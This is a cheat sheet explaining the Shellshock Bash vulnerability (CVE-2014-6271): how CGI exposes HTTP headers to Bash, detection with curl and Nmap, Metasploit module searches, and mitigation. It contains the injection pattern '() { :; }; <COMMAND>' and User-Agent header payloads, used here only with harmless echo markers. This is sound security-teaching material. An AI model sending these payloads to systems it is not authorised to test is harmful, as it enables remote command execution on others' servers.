On this page 26 sections
  1. What Shellshock is
  2. CVE-2014-6271
  3. Why Bash is involved
  4. The vulnerable pattern
  5. Local Bash check
  6. Interpret the local test
  7. What CGI is
  8. Why CGI matters for Shellshock
  9. HTTP headers as environment variables
  10. Typical attack surface
  11. Enumerate CGI endpoints
  12. Manual detection concept
  13. Why User-Agent is commonly used
  14. Avoid assuming every CGI script is vulnerable
  15. Nmap Shellshock detection
  16. HTTPS Shellshock testing
  17. Metasploit
  18. Why Shellshock can become RCE
  19. Execution context
  20. Post-detection checks
  21. Shellshock requirements
  22. Mitigation
  23. Check Bash version
  24. Shellshock vs generic web enumeration
  25. Detection workflow
  26. Quick reference
01

What Shellshock is

Shellshock is a vulnerability affecting older versions of GNU Bash. The issue allows commands appended after a specially crafted function definition stored in an environment variable to be executed when Bash processes that variable.

02

CVE-2014-6271

CVE-2014-6271 is the original vulnerability commonly associated with Shellshock. Additional related Bash issues were discovered afterward, but CVE-2014-6271 is the main identifier to remember.

03

Why Bash is involved

Bash historically supported exporting shell functions through environment variables. Vulnerable versions continued parsing content after the function definition, which could cause additional commands to execute.

04

The vulnerable pattern

The characteristic Shellshock pattern begins with an empty Bash function definition followed by additional shell commands.

Conceptual pattern
() { :; }; <COMMAND>
05

Local Bash check

A Bash installation can be tested locally by placing the crafted function definition into an environment variable and starting a new Bash process.

Basic local test
env x='() { :;}; echo vulnerable' bash -c 'echo test'
06

Interpret the local test

If the unexpected word vulnerable is executed before the normal command output, the Bash version exhibits the original Shellshock behaviour. Patched versions should not execute the appended command.

07

What CGI is

CGI, or Common Gateway Interface, is a mechanism that allows a web server to execute external programs or scripts and use their output to generate HTTP responses.

08

Why CGI matters for Shellshock

Some CGI environments convert HTTP request metadata into environment variables before executing a script. If the CGI program invokes vulnerable Bash, attacker-controlled HTTP headers can potentially reach Bash as environment variables.

09

HTTP headers as environment variables

CGI implementations commonly transform request headers into environment variables. For example, the User-Agent header may become HTTP_USER_AGENT. This creates the bridge between an HTTP request and vulnerable Bash processing.

10

Typical attack surface

A common Shellshock exposure requires a CGI endpoint, a vulnerable Bash installation and a code path in which attacker-controlled environment variables are processed by Bash.

11

Enumerate CGI endpoints

Before testing Shellshock, identify whether the web server exposes CGI directories or scripts. Common historical locations include /cgi-bin/.

Check common CGI path
curl -i http://<TARGET>/cgi-bin/
Nmap CGI enumeration
nmap -p 80 --script http-enum <TARGET>
12

Manual detection concept

A controlled Shellshock test sends the characteristic Bash function pattern through an HTTP header to a suspected CGI endpoint and checks whether a harmless marker command is executed.

Harmless marker test
curl -H 'User-Agent: () { :; }; echo; echo SHELLSHOCK_TEST' http://<TARGET>/cgi-bin/<SCRIPT>
13

Why User-Agent is commonly used

User-Agent is commonly demonstrated because CGI may expose it to the executed program through the HTTP_USER_AGENT environment variable. Other request headers can potentially reach the CGI environment as well.

14

Avoid assuming every CGI script is vulnerable

The presence of /cgi-bin/ alone does not prove Shellshock. The backend must ultimately involve a vulnerable Bash process that parses attacker-controlled environment variables.

15

Nmap Shellshock detection

Nmap includes an NSE script designed to test suspected CGI endpoints for Shellshock behaviour.

Shellshock scan
nmap -p 80 --script http-shellshock --script-args uri=/cgi-bin/<SCRIPT> <TARGET>
16

HTTPS Shellshock testing

If the CGI endpoint is served over HTTPS, the same vulnerability concept applies because TLS only protects transport. It does not remove the underlying Bash parsing vulnerability.

HTTPS request
curl -k -H 'User-Agent: () { :; }; echo; echo SHELLSHOCK_TEST' https://<TARGET>/cgi-bin/<SCRIPT>
17

Metasploit

Metasploit includes modules for Shellshock exploitation against compatible CGI configurations. Search the framework for shellshock modules and review the target URI and required options before use.

Search Shellshock modules
search shellshock
Show module information
info
Show options
show options
18

Why Shellshock can become RCE

If attacker-controlled data reaches vulnerable Bash and Bash executes the appended command, the attacker may gain command execution with the privileges of the web server or CGI process.

19

Execution context

Successful command execution does not necessarily mean root access. Commands normally execute under the account used by the web server or CGI process, such as www-data, apache or another restricted service account.

20

Post-detection checks

After confirming the vulnerability in an authorised lab, first identify the execution context and system information rather than assuming administrative privileges.

Current user
whoami
User and groups
id
Hostname
hostname
21

Shellshock requirements

The practical conditions to remember are: vulnerable Bash, attacker-controlled environment data and a program or service that invokes Bash in a way that processes that environment. CGI was a major remote attack vector because HTTP headers could become environment variables.

22

Mitigation

The primary mitigation is to update Bash to a patched version. Systems should also remove unnecessary CGI functionality, reduce exposed attack surface and run web services with restricted privileges.

23

Check Bash version

The installed Bash version can provide useful context, but patch status should not be determined from the version string alone because distributions may backport security fixes.

Bash version
bash --version
24

Shellshock vs generic web enumeration

Generic web enumeration may discover CGI scripts and server information, but Shellshock is a specific vulnerability test. It belongs separately from the general Web Server Enumeration note.

25

Detection workflow

Identify the web server and CGI endpoints, determine whether Bash may be involved, perform a harmless marker test or use the Nmap Shellshock script, and then confirm the execution context if the vulnerability is present.

Web enumeration
nmap -sC -sV -p 80,443 <TARGET>
Find CGI resources
nmap -p 80 --script http-enum <TARGET>
Nmap Shellshock
nmap -p 80 --script http-shellshock --script-args uri=/cgi-bin/<SCRIPT> <TARGET>
Manual marker test
curl -H 'User-Agent: () { :; }; echo; echo SHELLSHOCK_TEST' http://<TARGET>/cgi-bin/<SCRIPT>
26

Quick reference

These are the Shellshock concepts and commands worth remembering.

Vulnerable pattern
() { :; }; <COMMAND>
Local Bash test
env x='() { :;}; echo vulnerable' bash -c 'echo test'
Manual CGI test
curl -H 'User-Agent: () { :; }; echo; echo SHELLSHOCK_TEST' http://<TARGET>/cgi-bin/<SCRIPT>
Nmap
nmap -p 80 --script http-shellshock --script-args uri=/cgi-bin/<SCRIPT> <TARGET>
Metasploit search
search shellshock
Bash version
bash --version